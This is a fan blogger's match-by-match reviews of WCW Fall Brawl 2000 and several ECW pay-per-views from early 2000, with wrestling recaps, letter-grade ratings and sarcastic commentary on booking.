Fall Brawl 2000
Date: September 17, 2000
Location: HSBC Arena, Buffalo, New York
Attendance: 8,638
Commentators: Scott Hudson, Tony Schiavone, Mark Madden

Well we have I think five or six PPVs to go in this company so this isn’t something where I would expect much. The main event is Booker vs. Nash in a cage as they’ve given up on the idea of War Games I guess. Other than that there’s a huge elimination match and Steiner vs. Goldberg, which hopefully has less shooting in it this time. Maybe we can shoot Russo. Let’s get to it.

Cruiserweight Title: Kwee Wee vs. Elix Skipper

Skipper was given the title by Storm and is a Deion Sanders ripoff that I always loved. Kwee Wee makes Rico look straight. Kwee Wee has Paisley with him, more commonly known as Sharmell, Booker’s wife. Kwee Wee had a weird double personality thing where he would go insane at times which is how he starts the match here. We go a nice wrestling sequence to start. Skipper is fun to watch and I’ve always liked him.

They botch a leapfrog and Skipper might be hurt. Hudson makes a reference to some guy named Johnny Walker from the 60s. Only Walker I know of is a whiskey but whatever. We have a WAY too long chinlock by Skipper as this is such a shell of what the Cruiserweight Title used to be. Prime Time (Skipper) does what Trish would steal and call the Matrish.

This is more like a match between two small guys than two cruiserweights. Crowd is kind of dead here but is behind the face so that’s a good sign I guess. The Natural Born Thrillers come out and I begin to smile. The Thrillers were a group of young guys that were something NEW and got pushed. Sure they were generic as all goodness but they were a freaking breath of air. There were like seven of them, led by Mike Sanders. They included Chuck Palumbo, Mark Jindrak, Shawn Stasiak, Sean O’Haire, Reno and Johnny the Bull. These guys were pretty generic, but DANG it was nice to see some fresh faces.

They don’t actually do anything as Kwee Wee comes back and beats the tar out of Skipper to no reaction at all. Skipper hits the floor and Mike Sanders comes in with a kendo stick (a stickball bat or some kind of device according to Tony) and bashes him in the knee for two. The Thrillers are gone but now it means nothing as we’re pretty even anyway. Overdrive (MVP’s Play of the Day) ends it.

Rating: D+. This was just not clicking at all. The match was dull but hey, it had a run in so it has to be interesting right? This just was nothing special at all as they just did a mat based match and then a screwjob ending. I’m not entirely sure what the point was here as the styles clash killed it. Not a good way to start but not a horrible match.

3 Count vs. Misfits in Action

The Misfits here are Sgt. AWOL (The Wall who most of you likely don’t remember) Lieutenant Loco (Chavo) and Corporal Cajun (Lash Leroux). The band has a new song here that likely could have been a decent hit if sung by a “legit” band, which is either great or scary. The idea of the Misfits was that they were guys that were thrown out of storylines by Russo so they banded together as their only way to have a chance. That works well enough.

And yes, 3 Count gets a match against someone not named the Jung Dragons. Two of the boy band members are Shannon Moore and Shane (Gregory) Helms. The third sucks. We hear about Duggan giving the flag and board to General Rection (Hugh Morrus) and will be in his corner tonight. Yeah I’m sure this isn’t going to go badly at all for Rection.

This is a pretty basic match but it’s not bad. They’re just kind of filling in time as these matches aren’t going to mean anything past tonight anyway. The idea here is that the band is scared to death of AWOL so they’re going to try to keep him out. Simple story but it works. Leroux was a lot better than he was given credit for. I might even stretch to say he was pretty good.

He hits a springboard X Factor to get the hot tag to AWOL who cleans house. Moore hits a nice flip to put Cajun down and we let the high spots loose. AWOL gets knocked through a table (his signature thing) but not before holding Moore up off the ground purely by his hair. Everything goes insane and Leroux hits Helms with what we would more or less call Cradle Shock for the pin. They get a standing ovation for it and that’s what they deserved.

Rating: B. I REALLY liked this. There was no interference, there was nothing completely insane, the effort was there and the wrestling was there. What a shock that when you put all this together, you get a good match. Worst thing is I can more or less guarantee this is the high point of the show.

The old guys won’t give a kid an autograph. That’s WCW for you. Madden gets a line in about Nash carrying people. I laugh sadly…..point to this?

Harris Brothers vs. Kronik

And there goes the quality of the show. This is first a chain match, as in they’re attached by a strap. The twins (Harris Brothers/Disciples of Apocolypse/Creative Control/Blu Brothers etc) cost Kronik the belts last month. Adams makes it a first blood match, because gimmicks added on for no apparent reason other than to keep an old guy from having to get pinned and therefore lose credibility TOTALLY RULE!

Dave Penzer, the announcer, gets knocked out like a minute in. We go out into the crowd and this is already a mess. As I’m typing this I can see the review of the previous match and it makes me sad. That and even the previous match were good. This is just annoying and is going to mean nothing at all in the end. Hudson talks about how brutal this is and how it’s going to be violent. We’re less than three minutes in and he’s right: it’s brutal.

One of the Harris guys works on Clark’s knee in a first blood match for reasons of general idiocy. We get choking, which even Tony calls out as stupid. And we have a ref bump in a gimmick match. One of the Harrises is bleeding but there’s no referee of course. The chain is undone and Hudson suggests he’s on his period instead of being busted open. END THIS. Yeah the blood is wiped off and Adams is bleeding when the referee gets back up so Kronik loses. Kronik beats up the referee to be faces.

Rating: F+. Well seven minutes have passed and nothing of note has changed. These two feuded forever and no one cared at all. We went from good stuff to this, which like I said shouldn’t surprise anyone. Get to the next thing.

General Rection tries to do a big patriotic promo which would work a lot better if he wasn’t destined to have Jim Duggan turn on him since he’s the special enforcer.

US Title: General Rection vs. Lance Storm

Storm cuts a great heel promo about how great Canada is. He was AWESOME at this point and more or less could do no wrong on the mic. He would just get out there and be this pompous jerk but was so proud of being Canadian and no one could beat him, making him awesome. And here’s Duggan to be all patriotic. Great to see that white shirt under his referee shirt. I’m sure that will mean nothing at all.

Rection dominates to start and Storm is in trouble. Also Major Gunns has been kidnapped by Team Canada so she’s freed if Rection wins here. They say that the General could be a superstar. That’s just amusing. He’s more commonly known as Bill DeMott if the comedy name isn’t familiar to you. Storm hits a superkick that was on target but didn’t look painful at all.

Rection hits a sitout gutwrench powerbomb (spellcheck hates that sentence) for no cover. Storm gets up and goes after the knee. Duggan throws Storm back into the ring and gets up on the apron while the General goes for the moonsault. And say it with me: Duggan is Canadian. Storm gets the win while Rection is out cold in the Mapleleaf. MIA runs out and Duggan beats them down.

Rating: D+. This wasn’t horrible, but the turn might as well have had a big sign over it saying HEEL TURN COMING. Rection would wind up winning the title at the next two PPVs while no one cared about it nor were they watching. This didn’t go anywhere though and it’s only because of Storm’s pure awesomeness at this point that it gets this much. That and Gunns in those shorts. I mean DANG.

Gene (wearing glasses now) talks to the Natural Born Thrillers. Sanders imitates Konnan so Gene calls them various bad names and tells them to blow it. Sanders was very good on the mic.

Filthy Animals/Big Vito/Paul Orndorff vs. Natural Born Thrillers

Filthy Animals: Konnan, Rey Mysterio, Disco Inferno, Juventud Guerrera, Tygress (female manager)

Natural Born Thrillers: Mark Jindrak, Sean O’Haire, Mike Sanders, Chuck Palumbo, Shawn Stasiak, Reno, Johnny the Bull

This is elimination style. Yes it’s that Paul Orndorff. He trained most of the Thrillers in the Power Plant (the same place that said one Dave Bautista had no future in wrestling) and he drew about 15 years ago so he’s PERFECT here. Orndorff is a mystery partner here. He SHOCKS the Thrillers. OH NO! IT’S ON OVER THE HILL OVERRATED GUY THAT HASN’T MEANT A FREAKING THING SINCE WE WERE IN 5TH GRADE! Wait….this is WCW and he’s over fifty…..WE’RE SCREWED!!!

Stasiak goes on commentary for no apparent reason. Konnan makes gay jokes and introduced Orndorff. Wow this is so completely overhyped. No one cheers either. They just kind of breathe. Also, we get to see a 51 year old man that looks about twice that old in lime green tights. Rock on brother man.

This was billed as 6-6 but there are so many people that a lot have to drop to the floor, making it look like 4-4. Rey and Juvy are tag champions as I try to fill space. Ok apparently they aren’t….they just have the belts for the second straight PPV in a row. Rey tags in Juvy to absolutely NO reaction. I wasn’t looking at the screen and didn’t even notice it. Normally you get a sound from the crowd to let you know that something happened but there was NOTHING here.

O’Haire hits a Falcon’s Arrow to take down Juvy who of course is fine like 4 seconds later. Vito, the big guy on the team I guess, beats up Jindrak and is only there for Johnny. And here’s Disco to again complete silence. Oh never mind they think that he, a face, sucks. Jimdrak, a guy about 6’5, can’t get a dropkick past the ribs of Disco who is about 6’0. Ok Konnan is in the match despite sitting on the floor so far.

Konnan crashes into Disco so Disco accidentally hits him with the Last Dance (Stunner) to eliminate him. Shawn says five to go, implying 6-6 to start. Disco can’t get anyone to tag him in so Vito punches him and Reno Rolls the Dice to end him and make it 6-4 I guess. Vito hits an Edgecution on Palumbo for two. Bull hits Vito in the head with a kendo stick and a Roll of the Dice (rolling cutter, Cross Roads) ends him.

That leaves it as Juvy, Rey and Orndorff left, so Madden suggests that Tygress is on the team too. So then Tony says it’s 6-2 as Orndorff is there for…..oh screw it let’s just get this over with. Guerrera hits a flying…..something to Reno. Tony calls it a body attack which sounds like something from Mortal Kombat. Juvy Driver and WHAT’S UP on Reno makes it however many vs. however many. Oh and over ten minutes in and I think there are 4 people that haven’t even been in yet.

Rey and Juy apparently ARE the tag champions here. Tony said they weren’t 8 minutes ago and now they are. My goodness I know WCW at this time is called insane but I’ve always thought it was overhyped. In this match alone, about ten minutes long at this point, we can’t establish how many original participants there were in this match, we’ve gotten three different answers as to how many people are left on one of the teams at this point, and we don’t even know if two guys are tag team champions? Ok according to Wikipedia they are the champions but are forced to forfeit them tomorrow for no given reason. Now why can I establish that and the paid announcers can’t?

The fans hate Tygress all of a sudden as Juvy’s plancha is just caught. And then HOKEY SMOKE O’Haire and Jindrak LAUNCH Juvy from the floor into the ring off a double hip toss. That looked incredible. A Swanton Bomb ends Juvy…..and here’s Orndorff. Of course he beats up all the young guys but a kendo stick takes care of him. He hits a bad piledriver to get rid of Johnny the Bull.

Rey and Tygress (now on the apron) just let Orndorff get double teamed and do all the work. Sanders hasn’t been in yet. He of course beats up Jindrak and O’Haire on his own, making them look completely weak in the process. He goes to piledrive Jindrak and of course gets hurt coming down, giving himself a stinger (same thing that happened to Austin in 97 off the Owen piledriver) and O’Haire quickly covers him for the pin because of the injury.

Rey and Tygress I guess don’t get that he’s really hurt and keep going on Jindrak. After a pair of Bronco Busters we get the idea so they beat up Sanders and Palumbo to keep the crowd into it I guess. Pay no attention to the fact that they’re landing around Paul’s legs or anything like that. And they stop the match because of the injury. They would conclude it the next night where Rey and Tygress would beat five guys on their own.

Rating: F. There should be two ratings here. The match itself was entertaining and was about a B/B-, but to let a guy in there that was 51 years old and had retired because of a neck injury and then, shocking no one with a brain, hurts his neck in his first match back in like 5 years is simply irresponsible. I don’t care if he swears up and down that he’ll be ok or whatever. You don’t let him into the ring with his neck hurt like that, and this is why.

He wasn’t even taking a bump and he got hurt. Imagine what would have happened if he had been taking am ove and got hurt like this. There is just no way you can validate letting Orndorff go out there. It didn’t sell any more shows because he wasn’t even announced, so this comes off as just irresponsible by WCW and there’s no way that is ok in my mind.

Kidman and Madusa talk about their scaffold match. Yeah this is a perfect place to go after what just happened, but at the same time that wasn’t planned. Madusa threatens to demoralize her. What the heck does that even mean?

Shane Douglas/Torrie Wilson vs. Madusa/Billy Kidman

The scaffold is over the stage here which I’m sure is completely safe. Also instead of putting them on the scaffold which starts on the ground and is raised up, they have to climb and waste more time. Douglas promises to pay everyone’s money back if the faces don’t get thrown. This is a Pittsburgh PLUNGE match, but apparently you win by crossing and climbing down. Sure why not. Kidman and Madusa don’t get entrances and just walk out and get on.

Tony tells Madden to get his jokes in so Tony can sell the match. Egads man. Tony insists it’s still going up when you can tell it’s perfectly still. The scaffold here is at least fairly wide to the point where they can walk side by side on it. That’s a LOT better than previous kinds. You know it’s a good thing we have those VIDEO screens to show the Fall Brawl logo so we know what show this MATCH is on.

The girls sprint off to get down the other side and are all alone so they just stand there. Kidman and Shane have a match up there with counters and a Sky High powerbomb and then the Franchiser (modified Stunner) on Kidman. And then Shane kicks Madusa down the ladder so that she crashes down. Now since she didn’t climb down, she doesn’t win. Oh give me a break.

Shane beats up Kidman and has him down so Torrie comes back over and waits for him to make his comeback and then hits him low so Shane can throw Kidman off the scaffold and onto the crash pad below. Once someone reminds them which way to go, the heels win. Yep, Shane Douglas is pushed over Kidman. Do I even need to explain why this was bad?

Rating: F+. How do you really grade one of these? It was maybe five minutes long and went nowhere. Shane made Kidman look freaking pathetic here and that doesn’t surprise me at all. Shane was in the downside of his career and Kidman was a guy with potential. Of course he lost. Whatever, and at least Torrie looked incredible.

Sting talks about his three way with Muta and Vampiro. Oh and he has a world title match tomorrow night. Jeff Jarrett jumps him for no apparent reason.

Mike Tenay goes to David Flair’s house to talk to him about the wedding that didn’t work. He was supposed to marry Stacy since she was pregnant and it turned out the baby wasn’t his. We never found out who it was but it allegedly was going to be Ric Flair and would wind up being some kind of incest angle, or Russo because clearly a 20 year old Stacy would screw him.

David is losing his mind and his place is covered in trash and pizza boxes so he lights up a cigarette but throws it away because it’ll kill him. David goes paranoid and thinks that his brother Reed, who is 11, is the dad. He goes to the window a bunch of times where he says the father is here. And then he doesn’t do anything about it.

I didn’t order this PPV and I think this aired on TV later because I’ve seen this before. David sprints to the door and says the father is here so he runs outside and beats up the mailman, putting him in the figure four on the front lawn. There also was a camera waiting on the camera guy as he was I guess coming across the street. What a coincidence eh?

Sting vs. Great Muta vs. Vampiro

ICP is with the heels here who come out together. The clowns are on commentary here. They talk about JCW and I get it now. Maybe I did get this PPV but I could have sworn they did commentary on Thunder too. The commentary is funny to a degree but it gets old fast. They beat on Sting for awhile but they fight after Muta goes for a pin and Vampiro doesn’t like it. This is definitely a different match than the one I remember. Sting gets a bat and hits the Death Drop on Muta for the pin. There was nothing else of note to talk about here. The clowns and Vampiro beat up Muta and Sting makes the save.

Rating: D-. At least it was short I guess and the commentary made me laugh once or twice. This feud was just never going to stop and no one at all cared about it. Granted that might be because of Vampiro and the fact that no one knew who Muta was because WCW never told us that but whatever.

Mike Awesome, in 70s clothes and a Partridge Family bus, shows up with a surprise: it’s Gary Coleman. Sadly he gets one of the biggest pops of the night. They do a terrible comedy bit with Pamela Paulshock who was drop dead gorgeous.

Jeff Jarrett vs. Mike Awesome

This is a bunkhouse brawl, meaning hardcore match. There are Buffalo Bills at ringside and Jarrett wears a Titans jersey to be a jerk. He makes bad football jokes and this goes dead fast. There are weapons in the ring and Awesome brings his own table. The announcers say that Jarrett is the favorite in this match. We have ropes and wheelbarrows here as you can hear Dusty jacking off to this.

There are nooses around the ropes and a table covered in barbed wire. This is Jarrett’s specialty match in case you didn’t know. Why is it his specialty match? Well no one knows but whatever. It starts out as just a weapons match with nothing at all special about it. Jarrett backdrops Awesome from the middle rope through a table just to be mean. Jarrett goes into the barbed wire table twice and then a sitout powerbomb gets two.

After the Awesome Splash misses, Jarrett yells at the Bills some more. And here they come, surrounding the ring while security does nothing at all. They shove him into Awesome and the powerbomb gets….two. I know the ending to this match and I thought the match was ending there. Not because it was a close pin or anything but because there was no reason at all for it to continue other than the inevitable Gary Coleman stuff that you know is coming.

And here he is. The Bills let Jarrett get a guitar and Coleman just walks into the ring and low blows Jarrett who them just kills him with the guitar. NOW FREAKING STING IS HERE to beat up Jarrett so that Awesome can FINALLY win. So let’s see: Mike Awesome, Gary Coleman, Sting and THE BUFFALO BILLS ended this. How much do you think all this cost?

Rating: D. I almost hat to type Gary Coleman sold the guitar shot. Did someone think this was going to help business somehow? Did someone think this was going to be funny? I mean eas there a point to this at all? If there was I don’t get it. The hardcore stuff was ok here though, but the match was just WAY too much to be good.

Scott Steiner says he’ll beat Goldberg here because he has big muscles.

Scott Steiner vs. Goldberg

This is just a grudge match and I guess Goldberg is a face here. No DQ here either. Steiner has to wear a mask because Goldberg broke his face or something. We’re told about how even these two are which is odd but makes sense at the same time. Scotty busts out a Diamond Cutter for two. Ok then. Steiner tries to hide and that doesn’t go well at all for him.

They’re doing the clash of the titans build here and for the most part it’s working. And here’s Midajah, which is supposed to be a big deal I guess. Goldberg is bleeding from some chair shots. She’s just standing there for no apparent reason. Oh ok Goldberg accidentally put her through a table. Steiner hits a belly to belly where Goldberg lands on his head and nearly breaks his neck. There’s the spear. We have a lead pipe in there too which I’m sure will have something to do with the ending.

And it’s Vince Russo to bash Goldberg with a baseball bat. Sure why not. It only gets two though and Bill goes through a table. Steiner Recliner, which looks awful since Steiner doesn’t know how to hook it right, doesn’t work as Goldberg picks him up. This is the match where they just hammer each other with no real rhyme or reason. That doesn’t mean it’s bad though as that’s what this is supposed to be. Think Awesome vs. Tanaka.

Back to the Recliner which would look a lot better if it wasn’t just Goldberg crawling on his hands and knees (yeah the arms aren’t even pulled back) to the ropes. A chair is brought in and nothing happens with it. Russo comes in AGAIN but Steiner pops Goldberg in the head with a lead pipe and the Recliner gets the win on the unconscious Goldberg. Oh and Russo does the Jericho cover on him to end it. The Bills come in again to help Goldberg. More on Russo in the overall rating.

Rating: B-. This was about being a big old fight and that’s all it was supposed to be. We didn’t need to have real wrestling here and they didn’t try. I could have done without Russo here but at the same time this match oddly worked. This was probably a #1 contenders match of some sort too.

Booker says he’ll get the title back. Nash booked himself to win the title for about three weeks so he could defend coming into this.

WCW World Title: Booker T vs. Kevin Nash

Dang there are some attractive women in Buffalo. This is a cage match. We get a Scott Hall reference, even though Hall was long since gone at this point. No waiting at all as we’re starting to run out of PPV time. The cage looks extra tall here which is allegedly 12 feet high which is believable here. The camera is weird here as it’s outside and we keep looking up at the guys.

We’re told that Orndorff had a stinger but is talking and has movement in all of his limbs. That’s always good to hear. Nash is actually moving a bit in there. He takes the buckle pad off as Tony, much like Billy Graham did 12 years ago, asks why you need to do that when you have a cage around you. Axe Kick puts Nash down as apparently him slamming Nash is a big deal.

They’re flying through this match with no transitional stuff at all. Nash is bleeding here. RONCO REFERENCE! Yeah that has nothing to do with wrestling but I have a thing for infomercials so there we go. We’re told Nash has a lot of heart. Uh…sure. Jackknife is blocked into the Book End for the title for Booker.

Rating: C-. This FLEW by and felt like a Nitro main event rather than a PPV main event. Goldberg vs. Steiner likely should have closed the show but I can get that they wanted to make the world title seem important. This wasn’t anything all that great at all but for once one champion lost the title to another guy clean and simple. What more can you ask for? Booker would hold the title for 8 days, so it’s not like this meant much in the long run.

Overall Rating: B-. This was a rather good show. The problem is this is pretty much the best show for WCW in their last 15 months or so. The elimination match would have been a lot better had it not been for the injury and while I still wouldn’t have liked Orndorff getting in there even if he hadn’t gotten hurt, the injury is what made that match fall apart so you can’t blame the wrestlers for it.

The scaffold match was really short so that didn’t hurt things too much. This isn’t a classic or anything but it’s definitely watchable as they toned down the insanity a lot and the show is completely coherent with nothing overly bad that goes more than say five minutes.

The most important thing here is simple: there’s a point to everything on the card. Nothing here is insane or just thrown on there, which is the point of a PPV. If you want a taste of what WCW could do around this time, this is your best chance. And then it means nothing at all as Vince Russo would win the world title 8 days later on Nitro, killing anything the company had left for it.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:

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Date: January 28, 2000
Location: Lakefront Arena, New Orleans, Louisiana
Attendance: 3,000
Commentators: Joey Styles, Joel Gertner

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Little Guido vs. Tajiri

Rating: C. Decent stuff here but it was basically a squash by Tajiri. Luckily for me Tajiri is one of my favorite ECW guys so I was hardly bored by this. Guido barely got in anything here and Tajiri beat up both him and his lackey with ease. As usual, neither guy is going anywhere though.

RVD is ready for Mike Awesome but wants Sabu first. Rob looks more stoned than usual here. This goes on for like two and a half minutes.

Rhyno/Steve Corino vs. Tommy Dreamer/Josh Wilcox

ECW World Title: Mike Awesome vs. Little Spike Dudley

Spike jumps Awesome to start and is immediately slammed down to the floor. Spike fires back but gets whipped into the barricade to keep the champion in control. After a quick brawl in the crowd we head back inside for Awesome to charge into a boot to the face. The champion hits a release German suplex for two and a lifting powerbomb for the same. A table is set up on the floor but Spike manages to bulldog Awesome through it instead.

Spike hits a top rope chair shot to Awesome but the champion is down on the floor. The Acid Drop is countered so Spike hits Awesome in the head with a chair instead. The fourth chair shot to the head in a row gets two but Awesome gets his foot up in the corner to block a charge. A BIG Awesome Bomb puts Spike down but the Awesome Splash gets two. Another table is set up in the corner and a running Awesome Bomb through said table retains the title.

Awesome calls out RVD but before he can get to the ring, Sabu jumps him from behind. Mike dives on both guys but only hits Sabu. Van Dam hits a big flip dive to take them both out to end the show.

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Guilty As Charged 2000
Date: January 9, 2000
Location: Boutwell Memorial Auditorium, Birmingham, Alabama
Attendance: 4,700
Commentators: Joey Styles, Cyrus

To show you where this company was at this point, Spike Dudley is in the main event fighting Mike Awesome for the world title. What does that tell you? The company was on life support at this point with WWF beating the heck out of everyone and WCW just generally sucking. Other than that we have the Impact Players vs. Dreamer and Raven. That’s about it. Oh and RVD vs. Sabu in what I’m sure will be forgettable. Let’s get to it.

ECW’s video game is the sponsor, resulting in a massive logo on the mat. That could get annoying. Joey points out that Cyrus’ headset isn’t plugged into anything. So that’s where Otunga got the idea from. Gertner of course shows up for like the 9th PPV in a row. He makes sex jokes, Joey asks if that’s all he’s there for, Joel says he made his joke, got a pop, is more over than Cyrus, is getting laid later, and has already gotten paid. Was there a point in this at all?

Theme song.

CW Anderson vs. Mikey Whipwreck

Anderson is allegedly Arn’s son or nephew or whatever. It’s an easy way to get a guy over. Heck Ricky Steamboat got his name by pretending to be the son of a local guy named Sam Steamboat so this is fine. He’s also the enforcer of the new Dangerous Alliance with Lou E. Dangerously. It more or less sucked but it was a midcard stable so I can’t complain about that much.

And now Lou wants to talk. Ok his imitation is pretty good. Whipwreck fights off a double team and hits a nice spot where he grabs Anderson in a wheelbarrow and slams his ribs onto the railing. I love that. Anderson works on the arm like a true Anderson would so at least the mythology for lack of a better term is there. Mikey hits a NICE clothesline off the top.

When I say nice I mean it didn’t look that professional, but it looked realistic which a lot of the time is the most important to me. I’d rather have it look like a normal person executing a move than looking well trained and choreographed etc, but that’s just me. Mikey hits the Whippersnapper but the referee gets pulled out. A cell phone shot sets up the Anderson Spinebuster for the pin.

Rating: C+. This felt like a TV match but it came off pretty well. If nothing else it gives the stable a credible win and Mikey was great at getting the crowd into his matches. While not the best match in the world, this was decent enough as an opener.

Joey and Cyrus talk for a bit and you can tell they get along well behind the scenes.

Simon Diamond/Roadkill/Danny Doring vs. Nova/Jazz/Kid Kash

Simon and his valet get and likely deserve gay jokes that are made about them. Elektra, Doring and Roadkill’s manager was always one of my favorites. This was a midcard feud that went on forever and never really went anywhere. Kid Kash was based on Kid Rock. Yeah that’s not dated at all.

Oddly enough though, Rock wound up at a Mania and I don’t think Kash ever did. That’s very amusing. They say Mitch is like Conan O’Brien but with a worse haircut. Elektra does the Pec Dance. Oh dear. Jazz still gets no reaction. When Kid Kash gets a better reaction than you, you’re in trouble. Hey we’re actually starting! We’re getting wrestling in ECW! I don’t believe it! Ok that’s not fair.

Jazz and Doring start us off and Not Chyna is in trouble. Aww I wanted to see Roadkill vs. Jazz. Roadkill is a guy that is better than he’s made out to be I think. ECW’s camerawork is just atrocious. It’s all over the place and they miss SO much. Jazz hits the X Factor, her finisher, and when I say hits I mean his head never actually hits the mat, but Dick Hertz is back to do nothing at all.

I hate the lack of pads. There’s a difference between tough and stupid and dives onto concrete are stupid. So Jazz, Diamond and Kash are gone so it’s the future tag champions vs. Nova. Nova hits a DDT that they say will be on TV tomorrow night. That would imply someone is watching this show so he’s safe. This is one sided obviously since it’s 2-1.

In a funny spot Doring goes into Nova’s corner and pretends to be his partner and punches him when he reaches for a tag. Chris Chetti who is still injured at this point comes down to be the partner. He even hits a pescado and takes out the fat man. And now everybody dives over the top. Nova does it, Doring does it, the referee does it. Seriously it’s ECW did you expect anything else?

Doring and Nova fight on the top rope and Nova just falls to the floor. No mats remember. That’s such a scary bump. A top rope splash from Roadkill ends it. Post match two guys named the Dupps come out and beat up everyone until Nova and Doring make the save.

Rating: D+. Not bad but of course it’s a massive mess. These guys feuded forever and this is just another chapter in it. I don’t think they ever went past this spot on the card but you got two decent teams out of it. Not bad but not great.

Mike Awesome and his manager cut an interview that I can barely hear because of the crowd cheering for Elektra in the ring. Oh it’s about Spike.

Spike cuts probably the best promo of his career, “breaking character” saying he’s going to hurt Mike Awesome tonight and yelling at a production guy who tells him to stay in character. He says he’s not an actor and drops a lot of F bombs. Better than it sounds.

Yoshihiro Tajiri/???vs. Super Crazy/???

This is a dream partner tag match and allegedly Jerry Lynn and Tajiri are working together and Lynn will be the partner of Tajiri. Steve Corino is here with Tajiri and is starting to look like his familiar self, mainly due to his beard. He talks to the audience before the match and they HATE him. Corino picks Crazy as Tajiri’s partner, and here’s Little Guido for no apparent reason.

Yoshihiro Tajiri/Super Crazy vs. Jerry Lynn/Little Guido

It’s like they wanted to do a four way dance and they just forgot how to book it. So Tajiri and Crazy were going to pick their own dream tag partners and Guido is mad that Corino didn’t pick him to be Tajiri’s partner so Heyman inserted him and Lynn together into a team together to fight Tajiri and Crazy as Tajiri picked him opponent as his partner. No explanation given as to why he did that but whatever.

We get some nice technical stuff to start us out so I’m happy. This was more or less the Cruiserweight division as they kept having meaningless matches that ran together really badly, but to be fair there are two TV Champions and a World Champion in this. This is more or less all of them doing all of their stiff strikes on each other. I can work with that.

What would an ECW show be without a fairly solid botch? Let’s break out those high spots people! We’re into the crowd already and we can’t see ANYTHING. Tajiri vs. Lynn in the ring as Crazy does his big moonsault. Both Crazy and Tajiri do the ten punches in the corner and both take powerbombs out of it. For two guys like Lynn and Guido that don’t team together they sure think alike don’t they?

A double powerbomb can’t beat Lynn. Now remember, this is the same Lynn that was never put over RVD (to this point). So they’re saying that RVD could take this much and do better? Lynn never got pushed like he could have. With him being fairly conservative with the hardcore stuff he would have been far better than Corino for the anti-hardcore stuff.

Anyway, the partners finally turn on each other and Tajiri hits a brainbuster on Lynn to end it. Post match, Corino and his boys come out and beat up Lynn and Corino runs down Dusty Rhodes for no apparent reason.

Dusty is here of course, despite being everything ECW was supposed to not be about, as he is the epitome of old school and old mentality of booking but with them this close to death I guess it’s whatever. Rhyno beats him up and the majority of the roster comes down to save him. To be fair, he got an eruption so maybe they’re onto something.

Rating: D. The match was decent, but what in the world were they going for here? Whatever it was they didn’t get it. This just didn’t do it at all for me as I have no clue what they were trying to accomplish. It was confusing and no one really got it I don’t think, plus it somehow sets up the manager vs. Dusty Rhodes? What the heck?

New Jack talks about being ticked off at Da Baldies and having a staple in him. Well they were loyal to him. I have to give them that.

Ad for their TV shows and live events. It’s sponsored by their video game. That really was a fairly big deal. It pretty much sucked, but it was a nice accomplishment I guess.

Angel vs. New Jack

This is for King of the Streets, which is just a name I guess. The other two Baldies are with Angel. So we have a black man beating up a Latino in the Deep South. Yeah this isn’t going to go bad at all. Oh an it’s the song too. Can’t you tell how thrilled I am by that? I wonder how much they spent on his toys over the years.

New Jack “drops” an “elbow” from the top “onto” Angel. This is just not that interesting at all as it’s just New Jack beating him up with weapons. It’s limited to this match so far though so I can’t complain that much. If they keep it isolated I can live with it. Grimes and DeVito, the other Baldies are beating him up now.

So we’re on the floor in the middle of the crowd now with New Jack fighting some other guy. Jack dives out of the balcony and while it’s a big jump, it’s been done. That’s how I would sum up New Jack’s issues: we’ve seen it all before and it just loses its specialness. Angel remembers he’s in this match and comes to beat Jack up. At least Angel’s selling is funny. A shovel to New Jack’s head ends it.

Rating: D-. Like I said, we’ve seen this all before. What is the point of seeing it all over again? We get it: New Jack is a street fighter and Angel can beat him. What’s the point to it? I just don’t get it.

Alfonso goes into Van Dam’s dressing room and says it smells great in there but we need to air it out a bit. He’s stoned about out of his mind but whatever. Seriously is there any reason at all why he never got the world title? RVD says he’s beaten everyone with Fonzie saying he’s not Sabu.

Fonzie says he’s behind Van Dam 100%. And then we go down the hall to talk to Sabu and Fonzie. Fonzie cuts a promo talking about how Sabu is going to win. That’s a funny idea actually but it sets up the match quite well. If Sabu doesn’t win he leaves apparently.

ECW TV Title: Sabu vs. Rob Van Dam

Ok, this actually is a big match. I’ll give them that. RVD’s wife is here after having a bad Jetski accident. She’s ever pretty actually. Joey says it’ll be a classic. I doubt that but maybe. We’re on the floor already and Fonzie is the most interesting thing here as he’s saying he’ll be the winner no matter what. That’s brilliant actually. We break out the high spots and Cyrus calls the fans troglodytes.

Sabu is of course sloppy but this time it’s not as bad. He’s not blowing basic spots which helps a lot. Fonzie set up a table earlier on and there it goes. Sabu gets hurt putting Van Dam through it as it’s just been a fight so far. He calls for some athletic tape for his knee as it’s in trouble.

This is still a big crazy fight, but it’s far less annoying here as instead of just mindless violence and making it look silly, this takes the weapons and violence and puts them in as parts of a wrestling match. The Triple Jump Moonsault hits but there’s no referee. Van Dam kicks out of a legdrop version.

Fonzie tries to wake up the referee but not really, which is nice again as he’s unsure if he wants to go with Sabu but he kind of does. Van Dam sets for the Van Daminator but fakes Sabu out and counters his counter to hit it. That was nice. They screw up a hurricanrana as Van Dam doesn’t go down.

That might have been intentional so I can give them that. Fonzie is in the ring with a chair but can’t decide who to give it to so Van Dam hits him with a Van Daminator. SWEET. After blocking a springboard splash, Van Dam hits the Five Star to retain. Post match Sabu leaves the out cold Alfonso laying there.

Rating: B-. I liked it. I have no idea why but I liked it. I think it was the Fonzie thing but this came off as decent to me. I have no desire to watch them fight again, but for a one time thing I liked it. By far the best Sabu match I can remember but not one of Rob’s best. Still this is a major match so that’s good.

The Impact Players say they’ll win the belts because they’re better.

Cyrus and Joey say Sandman/Rhyno won’t happen because Sandman had to take care of a family emergency. I like that. It sucks that a match had to be canceled, but at least be honest about it. I like that as it’s something different.

Tag Titles: Impact Players vs. Raven/Tommy Dreamer

The Players come out separately for no apparent reason. To be fair the champions do too. Apparently the Impact Players are trying to take over the company so Dreamer and Raven are fighting for ECW. Sure why not. Raven is RIDICULOUSLY over. They can’t get in the ring as the Impact Players (I feel like I’m doing OCW again) fight them off.

We hit the floor because that makes sense to give up your advantage like that. The champions throw the other guys off the stage as they’re working together. Hey we go to an actual tag sequence. I’m stunned. Ok to be fair ECW matches usually do go to rules after the insanity dies down. Dreamer is both busted up and in trouble as we HIT THE CHINLOCK!

It’s fun seeing these guys actually wrestle for a change rather than just having mindless brawls. If nothing else we get to look at some rather hot women during this with Francine and Dawn Marie. Storm misses the second best superkick in wrestling and Dreamer gets the hot tag. Well kind of as he hits the hand but no one calls it. The referee realizes they kind of blew the spot and just lets it go I guess.

Raven hits his drop toehold. I’ve always liked how simple yet awesome that was. And there’s the Tombstone but surprisingly it only gets two. I would have bet on that being the ending. Storm sets up a table and then like an IDIOT stands in front of it. As he goes through it, the only thing I can think of is YOU FREAKING DESERVE IT.

